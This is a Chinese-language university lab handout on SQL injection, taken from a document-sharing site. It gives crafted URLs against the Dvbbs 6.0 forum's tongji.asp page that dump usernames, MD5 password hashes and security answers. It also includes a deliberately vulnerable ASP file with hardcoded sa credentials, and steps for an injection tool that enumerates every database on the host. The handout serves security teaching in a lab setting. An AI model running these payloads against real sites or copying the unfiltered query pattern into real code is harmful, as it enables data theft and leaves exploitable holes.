SQL注入实验

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

SQL注入实验

【实验环境】

本地主机(WindowsXP系统)、Windows实验台(Windows2003系统)、动网论坛6.0版本实验目标需首先确定所在主机实验台IP地址,并根据实验步骤填写正确的IP地址进行实验。实验拓扑如图3.6.1-1所示。

Windows实验台

本地主机

图3.6.1-1

【实验步骤】

启动虚拟机,并设置实验台的IP地址,以实验台为目标主机进行攻防试验。个别实验学生可以以2人一组的形式,互为攻击方和被攻击方来做实验。

一、获取后台用户名

以动网论坛6.0为例,在地址栏中输入http:// 实验台的IP/page6/index.asp 访问论坛首页,通过下图可以看到一共有2位注册会员。

图 3.6.1-2

http:// 实验台的IP/Page6/tongji.asp?orders=2&N=10 后显示出了整个论坛中2位用户的用户名。

图 3.6.1-3

(1)在地址栏中输入:(注意输入命令最后的逗号)

http:// 实验台的IP/Page6/tongji.asp?orders=2&N=10%20userclass,后,如下显示,其中管理员的身份已经被标出。

图 3.6.1-4

(2)在地址栏中输入:(注意输入命令最后的逗号)

http:// 实验台的IP/Page6/tongji.asp?orders=2&N=10%20userid,

显示论坛中用户的注册次序。

图 3.6.1-5

(3)在地址栏中输入: (注意输入命令最后的逗号)

http:// 实验台的IP/Page6/tongji.asp?orders=2&N=10%20userpassword,显示2个用户的密码,被MD5进行了加密。

图 3.6.1-6

(4)在地址栏中输入: (注意输入命令最后的逗号)

http:// 实验台的IP/Page6/tongji.asp?orders=2&N=10%20quesion,显示的是论坛中用户忘记密码后的提示问题。

图 3.6.1-7

(5)在地址栏中输入: (注意输入命令最后的逗号)

http:// 实验台的IP/Page6/tongji.asp?orders=2&N=10%20answer,显示用户忘记密码后提示问题的答案,也是通过MD5加密的。

图 3.6.1-8

二、构造SQL注入点

构造SQL注入点文件(slq.asp),代码如下:(注:此sql.asp文件可以从工具箱中下载) <%

strSQLServerName = "." '数据库实例名称(说明: “.”表示本地数据库)

strSQLDBUserName = "sa" '数据库帐号

strSQLDBPassword = "123456" '数据库密码

strSQLDBName = "test" '数据库名称

Set conn = Server.createObject("ADODB.Connection")

strCon = "Provider=SQLOLEDB.1;Persist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & ";Password=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"

conn.open strCon

dim rs,strSQL,id

set rs=server.createobject("ADODB.recordset")

id = request("id")

strSQL = "select * from admin where id=" & id

rs.open strSQL,conn,1,3

rs.close

%>

Test!!!!

一般在写ASP程序的时候,会反复调用数据库,为了管理方便,所以把这个连接数据库的语句和配置写成一个独立的文件,需要用的时候再引用。后来这方法广泛使用,也就是conn.asp这个文件,全称是:connection,也就是连接的意思。一般为了防止SQL注入,会在conn.asp文件中对行动态调用的变量进行一些关键字或者符号进行过滤。如果在conn.asp 文件中没有对这些符号或关键字进行过滤,当在进行动态调用的时候就可出现注入点从而实现注入。

上面的代码基于此原理而写。其中strSQL = "select * from admin where id=" & id可以判断这是一种数字型的注入(如果是字符型则应为在id后加撇号‘)。在这里,我把这个写好的存在漏洞的文件保存为sql.asp,放入实验台中动网6.0的根目录中。在该文件中,并没有对变量字段id进行过滤。因此该注入点可被找到并注入。

启动啊Dsql注入工具,直接单击[登陆] 按钮进入攻击界面:

图 3.6.1-9

在检测网址输入框中输入我们构造的SQL注入点”http://实验台IP/page6/sql.asp?id=1”,点击红色的打开网页图标。

这时我们可以看到该工具已经检测出注入点,并用红色的字体标出。

图 3.6.1-10

选择SQL注入检测,界面如下:

图 3.6.1-11

点击检测按键后,界面为:

图 3.6.1-12

点击检测表段、字段按钮,则会显示出我们之前所建立的表和字段,在点检测内容,则把我们所构造的表中的所有信息全显示了出来。在底下的当前库中显示了该表所在的数据库。连接类型为数字型也被检测出来了。数据库也显示出来了MSSQL,当前用户为dbo,即sa。当前的权限也为sa权限。点击跨库按键,则显示出了当前主机中所有的数据库。如

下图所示。

图 3.6.1-13

从列表中选择某个数据库,然后点击检测表段、字段、内容。所选数据库中的所有内容

都可以被显示出来。如下图所示。

相关文档
最新文档